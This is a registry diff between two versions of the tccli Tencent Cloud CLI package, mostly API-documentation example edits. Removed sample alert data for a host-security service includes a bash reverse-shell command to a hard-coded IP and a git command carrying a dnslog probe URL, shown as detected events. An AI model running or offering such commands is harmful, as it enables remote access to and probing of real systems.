tccli 3.0.1300.3__py2.py3-none-any.whl → 3.0.1302.1__py2.py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (187) hide show
  1. tccli/__init__.py +1 -1
  2. tccli/services/__init__.py +2 -1
  3. tccli/services/asr/v20190614/api.json +18 -18
  4. tccli/services/batch/v20170312/api.json +14 -14
  5. tccli/services/bh/bh_client.py +623 -93
  6. tccli/services/bh/v20230418/api.json +1054 -32
  7. tccli/services/bh/v20230418/examples.json +93 -1
  8. tccli/services/billing/billing_client.py +4 -57
  9. tccli/services/billing/v20180709/api.json +3 -305
  10. tccli/services/billing/v20180709/examples.json +2 -10
  11. tccli/services/bpaas/v20181217/api.json +56 -56
  12. tccli/services/cat/cat_client.py +61 -8
  13. tccli/services/cat/v20180409/api.json +115 -0
  14. tccli/services/cat/v20180409/examples.json +20 -0
  15. tccli/services/cbs/v20170312/api.json +9 -7
  16. tccli/services/cbs/v20170312/examples.json +2 -2
  17. tccli/services/ccc/ccc_client.py +216 -4
  18. tccli/services/ccc/v20200210/api.json +364 -6
  19. tccli/services/ccc/v20200210/examples.json +32 -0
  20. tccli/services/cdb/v20170320/api.json +23 -14
  21. tccli/services/cdb/v20170320/examples.json +3 -3
  22. tccli/services/cdc/cdc_client.py +173 -67
  23. tccli/services/cdc/v20201214/api.json +96 -0
  24. tccli/services/cdc/v20201214/examples.json +16 -0
  25. tccli/services/cdn/v20180606/api.json +365 -279
  26. tccli/services/cdwch/v20200915/api.json +21 -21
  27. tccli/services/cdwdoris/v20211228/api.json +21 -1
  28. tccli/services/cdwdoris/v20211228/examples.json +4 -4
  29. tccli/services/cdwpg/v20201230/api.json +375 -360
  30. tccli/services/cdwpg/v20201230/examples.json +1 -1
  31. tccli/services/cfw/cfw_client.py +53 -0
  32. tccli/services/cfw/v20190904/api.json +201 -5
  33. tccli/services/cfw/v20190904/examples.json +8 -0
  34. tccli/services/chc/chc_client.py +57 -4
  35. tccli/services/chc/v20230418/api.json +108 -1
  36. tccli/services/chc/v20230418/examples.json +8 -0
  37. tccli/services/ckafka/ckafka_client.py +408 -302
  38. tccli/services/ckafka/v20190819/api.json +197 -2
  39. tccli/services/ckafka/v20190819/examples.json +16 -0
  40. tccli/services/clb/v20180317/api.json +439 -379
  41. tccli/services/clb/v20180317/examples.json +7 -7
  42. tccli/services/cls/cls_client.py +53 -0
  43. tccli/services/cls/v20201016/api.json +86 -3
  44. tccli/services/cls/v20201016/examples.json +11 -3
  45. tccli/services/cvm/v20170312/api.json +165 -147
  46. tccli/services/cvm/v20170312/examples.json +6 -6
  47. tccli/services/cwp/v20180228/api.json +93 -14
  48. tccli/services/cwp/v20180228/examples.json +7 -7
  49. tccli/services/cynosdb/cynosdb_client.py +171 -12
  50. tccli/services/cynosdb/v20190107/api.json +252 -3
  51. tccli/services/cynosdb/v20190107/examples.json +24 -0
  52. tccli/services/dbbrain/dbbrain_client.py +57 -4
  53. tccli/services/dbbrain/v20210527/api.json +62 -0
  54. tccli/services/dbbrain/v20210527/examples.json +8 -0
  55. tccli/services/dc/v20180410/api.json +1 -1
  56. tccli/services/dlc/dlc_client.py +53 -0
  57. tccli/services/dlc/v20210125/api.json +816 -655
  58. tccli/services/dlc/v20210125/examples.json +73 -59
  59. tccli/services/dsgc/v20190723/api.json +18 -0
  60. tccli/services/dts/v20211206/api.json +4 -4
  61. tccli/services/dts/v20211206/examples.json +6 -0
  62. tccli/services/emr/emr_client.py +53 -0
  63. tccli/services/emr/v20190103/api.json +127 -0
  64. tccli/services/emr/v20190103/examples.json +8 -0
  65. tccli/services/es/es_client.py +686 -151
  66. tccli/services/es/v20180416/api.json +509 -436
  67. tccli/services/es/v20180416/examples.json +43 -49
  68. tccli/services/es/v20250101/api.json +1391 -0
  69. tccli/services/es/v20250101/examples.json +85 -0
  70. tccli/services/ess/ess_client.py +53 -0
  71. tccli/services/ess/v20201111/api.json +142 -21
  72. tccli/services/ess/v20201111/examples.json +14 -0
  73. tccli/services/essbasic/essbasic_client.py +53 -0
  74. tccli/services/essbasic/v20210526/api.json +112 -9
  75. tccli/services/essbasic/v20210526/examples.json +8 -0
  76. tccli/services/gaap/v20180529/api.json +321 -312
  77. tccli/services/gaap/v20180529/examples.json +2 -2
  78. tccli/services/gs/gs_client.py +538 -8
  79. tccli/services/gs/v20191118/api.json +947 -44
  80. tccli/services/gs/v20191118/examples.json +87 -1
  81. tccli/services/gwlb/v20240906/api.json +56 -37
  82. tccli/services/gwlb/v20240906/examples.json +11 -5
  83. tccli/services/hunyuan/hunyuan_client.py +175 -69
  84. tccli/services/hunyuan/v20230901/api.json +191 -1
  85. tccli/services/hunyuan/v20230901/examples.json +17 -1
  86. tccli/services/ioa/ioa_client.py +227 -15
  87. tccli/services/ioa/v20220601/api.json +479 -0
  88. tccli/services/ioa/v20220601/examples.json +44 -0
  89. tccli/services/iotexplorer/iotexplorer_client.py +322 -4
  90. tccli/services/iotexplorer/v20190423/api.json +865 -52
  91. tccli/services/iotexplorer/v20190423/examples.json +64 -16
  92. tccli/services/iotvideo/iotvideo_client.py +57 -4
  93. tccli/services/iotvideo/v20211125/api.json +146 -0
  94. tccli/services/iotvideo/v20211125/examples.json +8 -0
  95. tccli/services/iotvideoindustry/v20201201/api.json +1 -1
  96. tccli/services/kms/v20190118/api.json +38 -2
  97. tccli/services/lcic/v20220817/api.json +66 -1
  98. tccli/services/lcic/v20220817/examples.json +1 -1
  99. tccli/services/lighthouse/lighthouse_client.py +0 -106
  100. tccli/services/lighthouse/v20200324/api.json +11 -98
  101. tccli/services/lighthouse/v20200324/examples.json +0 -16
  102. tccli/services/live/v20180801/api.json +1 -1
  103. tccli/services/lke/v20231130/api.json +208 -10
  104. tccli/services/lke/v20231130/examples.json +10 -10
  105. tccli/services/lkeap/lkeap_client.py +53 -0
  106. tccli/services/lkeap/v20240522/api.json +48 -4
  107. tccli/services/lkeap/v20240522/examples.json +8 -0
  108. tccli/services/mna/mna_client.py +4 -163
  109. tccli/services/mna/v20210119/api.json +0 -524
  110. tccli/services/mna/v20210119/examples.json +0 -24
  111. tccli/services/monitor/monitor_client.py +114 -8
  112. tccli/services/monitor/v20180724/api.json +129 -18
  113. tccli/services/monitor/v20180724/examples.json +17 -1
  114. tccli/services/mps/v20190612/api.json +1223 -1031
  115. tccli/services/mps/v20190612/examples.json +1 -1
  116. tccli/services/nlp/v20190408/examples.json +1 -1
  117. tccli/services/oceanus/v20190422/api.json +12 -12
  118. tccli/services/oceanus/v20190422/examples.json +15 -3
  119. tccli/services/ocr/v20181119/api.json +13 -3
  120. tccli/services/postgres/v20170312/api.json +2 -2
  121. tccli/services/privatedns/v20201028/api.json +30 -11
  122. tccli/services/privatedns/v20201028/examples.json +10 -10
  123. tccli/services/rce/v20201103/api.json +3 -3
  124. tccli/services/ses/v20201002/api.json +10 -1
  125. tccli/services/smop/v20201203/api.json +2 -2
  126. tccli/services/sqlserver/v20180328/api.json +1 -1
  127. tccli/services/ssm/v20190923/api.json +27 -0
  128. tccli/services/sts/sts_client.py +53 -0
  129. tccli/services/sts/v20180813/api.json +101 -1
  130. tccli/services/sts/v20180813/examples.json +8 -0
  131. tccli/services/taf/taf_client.py +0 -53
  132. tccli/services/taf/v20200210/api.json +0 -138
  133. tccli/services/taf/v20200210/examples.json +0 -8
  134. tccli/services/tan/v20220420/api.json +2 -2
  135. tccli/services/tat/v20201028/api.json +2 -2
  136. tccli/services/tcb/v20180608/api.json +29 -1
  137. tccli/services/tcbr/v20220217/api.json +32 -0
  138. tccli/services/tccatalog/v20241024/api.json +1 -1
  139. tccli/services/tccatalog/v20241024/examples.json +1 -1
  140. tccli/services/tcr/v20190924/api.json +5 -5
  141. tccli/services/tcr/v20190924/examples.json +2 -2
  142. tccli/services/tcss/v20201101/api.json +84 -34
  143. tccli/services/tcss/v20201101/examples.json +2809 -0
  144. tccli/services/tdmq/v20200217/api.json +40 -0
  145. tccli/services/tdmq/v20200217/examples.json +1 -1
  146. tccli/services/tds/tds_client.py +53 -0
  147. tccli/services/tds/v20220801/api.json +265 -0
  148. tccli/services/tds/v20220801/examples.json +8 -0
  149. tccli/services/tem/v20210701/api.json +664 -575
  150. tccli/services/tem/v20210701/examples.json +2 -2
  151. tccli/services/teo/v20220901/api.json +236 -208
  152. tccli/services/teo/v20220901/examples.json +13 -13
  153. tccli/services/tione/tione_client.py +53 -0
  154. tccli/services/tione/v20211111/api.json +256 -0
  155. tccli/services/tione/v20211111/examples.json +8 -0
  156. tccli/services/tke/v20180525/api.json +1 -1
  157. tccli/services/trocket/trocket_client.py +489 -12
  158. tccli/services/trocket/v20230308/api.json +925 -146
  159. tccli/services/trocket/v20230308/examples.json +72 -0
  160. tccli/services/trtc/v20190722/api.json +13 -19
  161. tccli/services/trtc/v20190722/examples.json +8 -8
  162. tccli/services/tse/v20201207/api.json +1016 -995
  163. tccli/services/tse/v20201207/examples.json +2 -2
  164. tccli/services/tsf/v20180326/api.json +510 -465
  165. tccli/services/tsf/v20180326/examples.json +4 -4
  166. tccli/services/tts/v20190823/api.json +10 -10
  167. tccli/services/vclm/v20240523/api.json +2 -2
  168. tccli/services/vcube/v20220410/api.json +10 -0
  169. tccli/services/vdb/v20230616/api.json +10 -0
  170. tccli/services/vdb/v20230616/examples.json +1 -1
  171. tccli/services/vpc/v20170312/api.json +824 -254
  172. tccli/services/vpc/v20170312/examples.json +66 -10
  173. tccli/services/vpc/vpc_client.py +383 -12
  174. tccli/services/vrs/v20200824/api.json +9 -0
  175. tccli/services/waf/v20180125/api.json +8113 -5814
  176. tccli/services/waf/v20180125/examples.json +90 -0
  177. tccli/services/waf/waf_client.py +559 -82
  178. tccli/services/wedata/v20210820/api.json +1379 -24
  179. tccli/services/wedata/v20210820/examples.json +25 -1
  180. tccli/services/wedata/wedata_client.py +171 -12
  181. tccli/services/weilingwith/v20230427/api.json +1 -1
  182. tccli/services/weilingwith/v20230427/examples.json +3 -3
  183. {tccli-3.0.1300.3.dist-info → tccli-3.0.1302.1.dist-info}/METADATA +2 -2
  184. {tccli-3.0.1300.3.dist-info → tccli-3.0.1302.1.dist-info}/RECORD +187 -184
  185. {tccli-3.0.1300.3.dist-info → tccli-3.0.1302.1.dist-info}/WHEEL +0 -0
  186. {tccli-3.0.1300.3.dist-info → tccli-3.0.1302.1.dist-info}/entry_points.txt +0 -0
  187. {tccli-3.0.1300.3.dist-info → tccli-3.0.1302.1.dist-info}/license_files/LICENSE +0 -0
@@ -218,7 +218,7 @@
218
218
  {
219
219
  "document": "",
220
220
  "input": "POST / HTTP/1.1\nHost: cvm.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: DescribeImageFromFamily\n<公共请求参数>\n\n{\n \"ImageFamily\": \"business-daily-update\"\n}",
221
- "output": "{\n \"Response\": {\n \"Image\": {\n \"ImageId\": \"img-xxx\",\n \"OsName\": \"Xserver\",\n \"ImageType\": \"PRIVATE_IMAGE\",\n \"CreatedTime\": \"2020-09-22T00:00:00+00:00\",\n \"ImageName\": \"myImg\",\n \"ImageDescription\": \"\",\n \"ImageSize\": 0,\n \"Architecture\": \"x86_64\",\n \"ImageState\": \"NORMAL\",\n \"Platform\": \"Windows\",\n \"ImageCreator\": \"tencent\",\n \"ImageSource\": \"CREATE_IMAGE\",\n \"SyncPercent\": 0,\n \"IsSupportCloudinit\": true,\n \"SnapshotSet\": [\n {\n \"SnapshotId\": \"snap-nbxxx56\",\n \"DiskUsage\": \"SYSTEM_DISK\",\n \"DiskSize\": 0\n }\n ],\n \"Tags\": [\n {\n \"Key\": \"myKey\",\n \"Value\": \"myValue\"\n }\n ],\n \"LicenseType\": \"TencentCloud\",\n \"ImageFamily\": \"business-daily-update\",\n \"ImageDeprecated\": false\n },\n \"RequestId\": \"5908394c-5b3f-42e0-a537-8410553890a5\"\n }\n}",
221
+ "output": "{\n \"Response\": {\n \"Image\": {\n \"ImageId\": \"img-1a2b3c4d\",\n \"OsName\": \"Ubuntu Server 20.04 LTS 64bit\",\n \"ImageType\": \"PRIVATE_IMAGE\",\n \"CreatedTime\": \"2025-03-24T06:35:06Z\",\n \"ImageName\": \"myImg\",\n \"ImageDescription\": \"myImg\",\n \"ImageSize\": 50,\n \"Architecture\": \"x86_64\",\n \"ImageState\": \"NORMAL\",\n \"Platform\": \"Ubuntu\",\n \"ImageCreator\": \"tencent\",\n \"ImageSource\": \"CREATE_IMAGE\",\n \"SyncPercent\": 0,\n \"IsSupportCloudinit\": true,\n \"SnapshotSet\": [\n {\n \"SnapshotId\": \"snap-1a2b3c4d\",\n \"DiskUsage\": \"SYSTEM_DISK\",\n \"DiskSize\": 50\n }\n ],\n \"Tags\": [\n {\n \"Key\": \"myKey\",\n \"Value\": \"myValue\"\n }\n ],\n \"LicenseType\": \"TencentCloud\",\n \"ImageFamily\": \"business-daily-update\",\n \"ImageDeprecated\": false\n },\n \"RequestId\": \"5908394c-5b3f-42e0-a537-8410553890a5\"\n }\n}",
222
222
  "title": "查看镜像族列表"
223
223
  }
224
224
  ],
@@ -332,7 +332,7 @@
332
332
  {
333
333
  "document": "查询指定实例支持调整的机型配置",
334
334
  "input": "POST / HTTP/1.1\nHost: cvm.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: DescribeInstancesModification\n<公共请求参数>\n\n{\n \"Filters\": [\n {\n \"Values\": [\n \"SELL\"\n ],\n \"Name\": \"status\"\n }\n ],\n \"InstanceIds\": [\n \"ins-bzps2kwdg\"\n ]\n}",
335
- "output": "{\n \"Response\": {\n \"InstanceTypeConfigStatusSet\": [\n {\n \"Status\": \"SELL\",\n \"InstanceTypeConfig\": {\n \"GPU\": 0,\n \"Zone\": \"ap-guangzhou-2\",\n \"FPGA\": 0,\n \"InstanceFamily\": \"SA2\",\n \"InstanceType\": \"SA2.MEDIUM4\",\n \"Memory\": 4,\n \"GpuCount\": 0,\n \"CPU\": 2\n },\n \"Message\": null\n }\n ],\n \"TotalCount\": 1,\n \"RequestId\": \"62DDFFC6-FDB5-44F7-20A6-59152E3D129A\"\n }\n}",
335
+ "output": "{\n \"Response\": {\n \"InstanceTypeConfigStatusSet\": [\n {\n \"Status\": \"SELL\",\n \"InstanceTypeConfig\": {\n \"GPU\": 0,\n \"Zone\": \"ap-guangzhou-2\",\n \"FPGA\": 0,\n \"InstanceFamily\": \"SA2\",\n \"InstanceType\": \"SA2.MEDIUM4\",\n \"Memory\": 4,\n \"GpuCount\": 0,\n \"CPU\": 2\n },\n \"Message\": \"\"\n }\n ],\n \"TotalCount\": 1,\n \"RequestId\": \"62DDFFC6-FDB5-44F7-20A6-59152E3D129A\"\n }\n}",
336
336
  "title": "查询指定实例支持调整的机型配置"
337
337
  }
338
338
  ],
@@ -465,7 +465,7 @@
465
465
  "ExitRescueMode": [
466
466
  {
467
467
  "document": "",
468
- "input": "https://cvm.tencentcloudapi.com/?Action=ExitRescueMode\n&InstanceId=instance_Id\n&<公共请求参数>",
468
+ "input": "https://cvm.tencentcloudapi.com/?Action=ExitRescueMode\n&InstanceId=ins-axzc12s\n&<公共请求参数>",
469
469
  "output": "{\n \"Response\": {\n \"RequestId\": \"5920380e-277a-420a-a221-0caac3eb7159\"\n }\n}",
470
470
  "title": "退出救援模式"
471
471
  }
@@ -513,7 +513,7 @@
513
513
  "InquiryPriceModifyInstancesChargeType": [
514
514
  {
515
515
  "document": "本示例用于切换一个实例的计费模式询价。",
516
- "input": "POST / HTTP/1.1\nHost: cvm.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: InquiryPriceModifyInstancesChargeType\n<公共请求参数>\n\n{\n \"InstanceChargeType\": \"PREPAID\",\n \"InstanceIds\": [\n \"ins-r8hr2upy\"\n ],\n \"InstanceChargePrepaid\": {\n \"Period\": \"1\"\n }\n}",
516
+ "input": "POST / HTTP/1.1\nHost: cvm.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: InquiryPriceModifyInstancesChargeType\n<公共请求参数>\n\n{\n \"InstanceChargeType\": \"PREPAID\",\n \"InstanceIds\": [\n \"ins-r8hr2upy\"\n ],\n \"InstanceChargePrepaid\": {\n \"Period\": 1\n }\n}",
517
517
  "output": "{\n \"Response\": {\n \"Price\": {\n \"InstancePrice\": {\n \"OriginalPrice\": 720,\n \"DiscountPrice\": 720\n }\n },\n \"RequestId\": \"d39d6c09-44e9-4e80-8661-77b5ff3cbc15\"\n }\n}",
518
518
  "title": "切换实例的计费模式询价"
519
519
  }
@@ -561,7 +561,7 @@
561
561
  "InquiryPriceResizeInstanceDisks": [
562
562
  {
563
563
  "document": "按量付费实例扩容磁盘询价",
564
- "input": "POST / HTTP/1.1\nHost: cvm.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: InquiryPriceResizeInstanceDisks\n<公共请求参数>\n\n{\n \"InstanceId\": \"ins-fd8spnmq\",\n \"DataDisks\": [\n {\n \"DiskSize\": \"100\"\n }\n ]\n}",
564
+ "input": "POST / HTTP/1.1\nHost: cvm.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: InquiryPriceResizeInstanceDisks\n<公共请求参数>\n\n{\n \"InstanceId\": \"ins-fd8spnmq\",\n \"DataDisks\": [\n {\n \"DiskSize\": 100\n }\n ]\n}",
565
565
  "output": "{\n \"Response\": {\n \"Price\": {\n \"InstancePrice\": {\n \"DiscountPrice\": 0.0,\n \"OriginalPriceThreeYear\": 0.0,\n \"DiscountOneYear\": 0.0,\n \"UnitPrice\": 0.46,\n \"UnitPriceThirdStep\": 0.0,\n \"OriginalPriceFiveYear\": 0.0,\n \"Discount\": 0.0,\n \"DiscountFiveYear\": 0.0,\n \"UnitPriceDiscountThirdStep\": 0.0,\n \"UnitPriceSecondStep\": 0.0,\n \"OriginalPrice\": 0.0,\n \"DiscountThreeYear\": 0.0,\n \"UnitPriceDiscountSecondStep\": 0.0,\n \"UnitPriceDiscount\": 0.0,\n \"DiscountPriceFiveYear\": 0.0,\n \"OriginalPriceOneYear\": 0.0,\n \"ChargeUnit\": \"HOUR\",\n \"DiscountPriceThreeYear\": 0.0,\n \"DiscountPriceOneYear\": 0.0\n },\n \"BandwidthPrice\": {\n \"DiscountPrice\": 0.0,\n \"OriginalPriceThreeYear\": 0.0,\n \"DiscountOneYear\": 0.0,\n \"UnitPrice\": 0.0,\n \"UnitPriceThirdStep\": 0.0,\n \"OriginalPriceFiveYear\": 0.0,\n \"Discount\": 0.0,\n \"DiscountFiveYear\": 0.0,\n \"UnitPriceDiscountThirdStep\": 0.0,\n \"UnitPriceSecondStep\": 0.0,\n \"OriginalPrice\": 0.0,\n \"DiscountThreeYear\": 0.0,\n \"UnitPriceDiscountSecondStep\": 0.0,\n \"UnitPriceDiscount\": 0.0,\n \"DiscountPriceFiveYear\": 0.0,\n \"OriginalPriceOneYear\": 0.0,\n \"ChargeUnit\": \"HOUR\",\n \"DiscountPriceThreeYear\": 0.0,\n \"DiscountPriceOneYear\": 0.0\n }\n },\n \"RequestId\": \"3c140219-cfe9-470e-b241-907877d6fb03\"\n }\n}",
566
566
  "title": "按量付费实例扩容磁盘询价"
567
567
  }
@@ -777,7 +777,7 @@
777
777
  "RenewInstances": [
778
778
  {
779
779
  "document": "本示例用于续费一个实例,指定续费实例Id是ins-r8hr2upy,续费一个月,到期时通知过期但不自动续费。",
780
- "input": "POST / HTTP/1.1\nHost: cvm.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: RenewInstances\n<公共请求参数>\n\n{\n \"InstanceChargePrepaid\": {\n \"RenewFlag\": \"NOTIFY_AND_MANUAL_RENEW\",\n \"Period\": \"1\"\n },\n \"InstanceIds\": [\n \"ins-r8hr2upy\"\n ]\n}",
780
+ "input": "POST / HTTP/1.1\nHost: cvm.tencentcloudapi.com\nContent-Type: application/json\nX-TC-Action: RenewInstances\n<公共请求参数>\n\n{\n \"InstanceChargePrepaid\": {\n \"RenewFlag\": \"NOTIFY_AND_MANUAL_RENEW\",\n \"Period\": 1\n },\n \"InstanceIds\": [\n \"ins-r8hr2upy\"\n ]\n}",
781
781
  "output": "{\n \"Response\": {\n \"RequestId\": \"6ef60bec-0242-43af-bb20-270359fb54a7\"\n }\n}",
782
782
  "title": "续费实例"
783
783
  }
@@ -1331,9 +1331,9 @@
1331
1331
  "status": "online"
1332
1332
  },
1333
1333
  "DescribeHostLoginList": {
1334
- "document": "获取登录审计列表",
1334
+ "document": "获取异常登录列表",
1335
1335
  "input": "DescribeHostLoginListRequest",
1336
- "name": "获取登录审计列表",
1336
+ "name": "获取异常登录列表",
1337
1337
  "output": "DescribeHostLoginListResponse",
1338
1338
  "status": "online"
1339
1339
  },
@@ -22744,7 +22744,7 @@
22744
22744
  {
22745
22745
  "disabled": false,
22746
22746
  "document": "事件详情",
22747
- "example": "{\"Uuid\": \"3253189e-a107-4892-9bb9-03ad9d3e****\", \"Id\": 91212998, \"Quuid\": \"3253189e-a107-4892-9bb9-03ad9d3e****\", \"HostIp\": \"172.16.4****\", \"Platform\": 4, \"BashCmd\": \"sh -c bash -i \\\\u003e\\\\u0026 /dev/tcp/106.55.235.95/3389 0\\\\u003e\\\\u0****\", \"RuleId\": 27, \"RuleName\": \"\\u7cfb\\u7edf\\u89c4\\u5219(\\u6807\\u51c6)-\\u53cd\\u5f39shell.bash\\u53cd\\u5f39s****\", \"RuleLevel\": 1, \"Status\": 1, \"CreateTime\": \"2023-04-15 05:0****\", \"Exe\": \"/usr/bi****\", \"ModifyTime\": \"2023-10-14 02:3****\", \"PsTree\": \"null\", \"User\": \"root\", \"Pid\": \"1771645\", \"DetectBy\": \"1\", \"RegexBashCmd\": \"sh -c bash -i \\\\u003e\\\\u0026 /dev/tcp/106\\\\\\\\.55\\\\\\\\.235\\\\\\\\.95/3389 0\\\\u003e\\\\u0****\", \"RuleCategory\": 0, \"MachineName\": \"TCSS P0\\u81ea\\u52a8\\u5316_\\u6b63\\u5f0f\\u73af****\", \"SuggestScheme\": \"1\\u3001\\u68c0\\u67e5\\u6076\\u610f\\u8fdb\\u7a0b\\u53ca\\u975e\\u6cd5\\u7aef\\u53e3\\uff0c\\u5220\\u9664\\u53ef\\u7591\\u7684\\u542f\\u52a8\\u9879\\u548c\\u5b9a\\u65f6\\u4efb\\u52a1\\uff1b\\\\n2\\u3001\\u9694\\u79bb\\u6216\\u8005\\u5220\\u9664\\u76f8\\u5173\\u7684\\u6728\\u9a6c\\u6587\\u4ef6\\uff1b\\\\n3\\u3001\\u5bf9\\u7cfb\\u7edf\\u8fdb\\u884c\\u98ce\\u9669\\u6392\\u67e5\\uff0c\\u5e76\\u8fdb\\u884c\\u5b89\\u5168\\u52a0\\u56fa\\uff0c\\u8be6\\u60c5\\u53ef\\u53c2\\u8003\\u5982\\u4e0b\\u94fe\\u63a5\\uff1a\\u00a0\\\\n\\u3010Linux\\u3011https://cloud.tencent.com/document/product/296/9604\\u00a0\\\\n\\u3010Windows\\u3011https://cloud.tencent.com/document/product/296/****\", \"HarmDescribe\": \"\\u9ed1\\u5ba2\\u5728\\u5165\\u4fb5\\u670d\\u52a1\\u5668\\u540e\\uff0c\\u4e3a\\u4e86\\u8fdb\\u884c\\u4e0b\\u4e00\\u6b65\\u7684\\u6076\\u610f\\u64cd\\u4f5c\\uff0c\\u4f1a\\u6267\\u884c\\u6076\\u610f\\u6587\\u4ef6\\u4e0b\\u8f7d\\u3001\\u8fde\\u63a5\\u77ff\\u6c60\\u3001\\u6dfb\\u52a0\\u516c\\u94a5\\u3001\\u67e5\\u770b\\u654f\\u611f\\u6587\\u4ef6****\", \"Tags\": [], \"References\": [], \"MachineWanIp\": \"101.33.22****\", \"MachineStatus\": \"ONLINE\"}",
22747
+ "example": "",
22748
22748
  "member": "BashEventsInfo",
22749
22749
  "name": "BashEventsInfo",
22750
22750
  "output_required": true,
@@ -22910,7 +22910,7 @@
22910
22910
  {
22911
22911
  "disabled": false,
22912
22912
  "document": "高危命令事件列表",
22913
- "example": "[{\"Uuid\": \"2fc9fe2c-2b9c-11ea-83dd-48fd8e5f****\", \"Id\": 137135217, \"Quuid\": \"1ad01e35-55ce-4d0c-8a24-614f3b6b****\", \"Hostip\": \"10.19****\", \"User\": \"git:git\", \"Platform\": 4, \"BashCmd\": \"/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/songyueyue/ioshybridapi.git log --pretty=%H --grep=http://xfs.bxss.me?btpoc****\", \"RuleId\": 458, \"RuleName\": \"\\u7cfb\\u7edf\\u89c4\\u5219(\\u6807\\u51c6)-\\u4f7f\\u7528dnslog\\u7b49****\", \"RuleLevel\": 2, \"Status\": 3, \"CreateTime\": \"2023-12-11 12:3****\", \"MachineName\": \"DevOps-Gi****\", \"DetectBy\": 1, \"Pid\": \"3661\", \"Exe\": \"/opt/gitlab/embedded/bin****\", \"ModifyTime\": \"2024-03-22 14:3****\", \"RegexBashCmd\": \"/opt/gitlab/embedded/bin/git --git-dir /var/opt/gitlab/git-data/repositories/songyueyue/ioshybridapi\\\\\\\\.git log --pretty=%H --grep=http://xfs\\\\\\\\.bxss\\\\\\\\.me\\\\\\\\?btpoc\\\\\\\\****\", \"RuleCategory\": 0, \"HostName\": \"gitlab.btpoc****\"}]",
22913
+ "example": "",
22914
22914
  "member": "BashEvent",
22915
22915
  "name": "List",
22916
22916
  "output_required": true,
@@ -24771,7 +24771,7 @@
24771
24771
  },
24772
24772
  {
24773
24773
  "disabled": false,
24774
- "document": "过滤条件。<li>Quuid - String - 是否必填:否 - 云服务器uuid</li><li>Uuid - String - 是否必填:否 - 主机安全唯一Uuid</li><li>MachineName - String - 是否必填:否 - 主机别名</li><li>Ip - String - 是否必填:否 - 主机ip</li><li>InstanceID - String - 是否必填:否 - 主机实例ID</li><li>SrcIp - String - 是否必填:否 - 来源ip筛选</li><li>UserName - String - 是否必填:否 - 用户名筛选</li><li>Status - string - 是否必填:否 - 状态筛选1:正常登录;5:已加白,14:已处理,15:已忽略</li><li>LoginTimeBegin - String - 是否必填:否 - 按照修改时间段筛选,开始时间</li><li>LoginTimeEnd - String - 是否必填:否 - 按照修改时间段筛选,结束时间</li><li>RiskLevel - string - 是否必填:否 - 状态筛选0:高危;1:可疑</li>",
24774
+ "document": "过滤条件。<li>Quuid - String - 是否必填:否 - 云服务器uuid</li><li>Uuid - String - 是否必填:否 - 主机安全唯一Uuid</li><li>MachineName - String - 是否必填:否 - 主机别名</li><li>Ip - String - 是否必填:否 - 主机ip</li><li>InstanceID - String - 是否必填:否 - 主机实例ID</li><li>SrcIp - String - 是否必填:否 - 来源ip筛选</li><li>UserName - String - 是否必填:否 - 用户名筛选</li><li>Status - string - 是否必填:否 - 状态筛选:2:待处理;5:已加白,14:已处理,15:已忽略</li><li>LoginTimeBegin - String - 是否必填:否 - 按照修改时间段筛选,开始时间</li><li>LoginTimeEnd - String - 是否必填:否 - 按照修改时间段筛选,结束时间</li><li>RiskLevel - string - 是否必填:否 - 状态筛选0:高危;1:可疑</li>",
24775
24775
  "example": "[{\"Name\": \"Status\", \"Values\": [null], \"ExactMatch\": false}]",
24776
24776
  "member": "Filter",
24777
24777
  "name": "Filters",
@@ -24814,8 +24814,8 @@
24814
24814
  },
24815
24815
  {
24816
24816
  "disabled": false,
24817
- "document": "登录审计列表",
24818
- "example": "[ { \"Id\": 202008000000022, \"Uuid\": \"5cc8e4d2-311f-11ea-922b-98be9421969a\", \"MachineIp\": \"10.104.194.49\", \"MachineName\": \"v_lwjlin_centos_林\", \"UserName\": \"root\", \"SrcIp\": \"120.229.227.225\", \"Status\": 2, \"Country\": 1, \"City\": 216, \"Province\": 19, \"LoginTime\": \"2020-02-20 14:51:35\", \"ModifyTime\": \"2020-02-20 14:51:35\", \"IsRiskUser\": 0, \"Port\": 22, \"Location\": \"中国:广东省:深圳市\", \"Desc\": \"\", \"IsRiskSrcIp\": 1, \"IsRiskArea\": 1, \"Quuid\": \"05f0bcab-726c-4ea4-8109-bcd03d5598f7\", \"RiskLevel\": 0, \"IsRiskTime\": 1, \"MachineExtraInfo\": { \"WanIP\": \"1.1.1.1\", \"InstanceID\": \"ins-12341234\", \"NetworkName\": \"vpc-d7f***\", \"PrivateIP\": \"1.1.1.1\", \"NetworkType\": 1, \"HostName\": \"机器名称\" } } ]",
24817
+ "document": "异常登录列表",
24818
+ "example": "",
24819
24819
  "member": "HostLoginList",
24820
24820
  "name": "HostLoginList",
24821
24821
  "output_required": true,
@@ -27791,7 +27791,7 @@
27791
27791
  },
27792
27792
  {
27793
27793
  "disabled": false,
27794
- "document": "过滤条件。\n<li>Ips - String - 是否必填:否 - 通过ip查询 </li>\n<li>Names - String - 是否必填:否 - 通过实例名查询 </li>\n<li>InstanceIds - String - 是否必填:否 - 通过实例id查询 </li>\n<li>Status - String - 是否必填:否 - 客户端在线状态(OFFLINE: 离线/关机 | ONLINE: 在线 | UNINSTALLED:未安装 | AGENT_OFFLINE 离线| AGENT_SHUTDOWN 已关机)</li>\n<li>Version - String 是否必填:否 - 当前防护版本( PRO_VERSION:专业版 | BASIC_VERSION:基础版 | Flagship : 旗舰版 | ProtectedMachines: 专业版+旗舰版)</li>\n<li>Risk - String 是否必填: 否 - 风险主机( yes ) </li>\n<li>Os -String 是否必填: 否 - 操作系统( DescribeMachineOsList 接口 值 )\n每个过滤条件只支持一个值,暂不支持多个值“或”关系查询</li>\n<li>Quuid - String - 是否必填: 否 - 云服务器uuid 最大100条.</li>\n<li>AddedOnTheFifteen- String 是否必填: 否 - 是否只查询15天内新增的主机( 1:是) </li>\n<li> TagId- String 是否必填: 否 - 查询指定标签关联的主机列表 </li>",
27794
